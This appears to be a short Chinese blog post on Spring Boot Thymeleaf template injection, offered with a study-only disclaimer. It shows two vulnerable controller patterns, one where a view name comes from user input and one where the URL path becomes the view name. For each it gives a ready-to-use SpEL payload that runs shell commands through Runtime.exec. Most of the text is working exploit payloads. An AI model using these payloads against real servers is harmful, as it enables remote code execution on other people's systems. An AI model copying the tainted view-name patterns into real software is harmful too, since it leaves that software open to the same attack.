spring boot Thymeleaf模板注入 payload

一、在查找模板中,引用了用户输入的内容

demo:

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}

payload:

1
/path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

二、根据spring boot定义

如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析

demo:

1
2
3
4
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}

payload:

1
/doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.